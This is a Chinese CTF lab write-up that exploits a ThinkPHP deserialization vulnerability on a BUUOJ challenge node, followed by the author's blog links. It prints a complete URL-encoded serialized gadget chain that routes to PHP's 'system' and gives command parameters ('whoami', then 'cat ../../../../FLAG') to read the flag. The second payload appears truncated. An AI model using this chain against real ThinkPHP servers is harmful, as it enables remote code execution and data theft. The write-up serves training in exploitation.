CTFer成长之路之反序列化漏洞

反序列化漏洞CTF

1.访问url：

http://91a5ef16-ff14-4e0d-a687-32bdb4f61ecf.node3.buuoj.cn/

点击下载源码

本地搭建环境并访问url：

http://127.0.0.1/www/public/

构造payload：

?s=index/index/hello&ethan=whoami

POST的参数，就是生成的反序列化字符串

str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D

进行攻击

攻击成功，页面回显如下

访问url：

http://91a5ef16-ff14-4e0d-a687-32bdb4f61ecf.node3.buuoj.cn/

构造payload：

/thinkphp/public/?s=index/index/hello&ethan=cat ../../../../FLAG

POST的参数，就是生成的反序列化字符串

str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%

进行攻击

攻击成功，页面回显如下，拿到flag为n1book{de70641304640057390e8fabc8b515bf}

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

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博客:
https://rdyx0.github.io/先知社区：
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85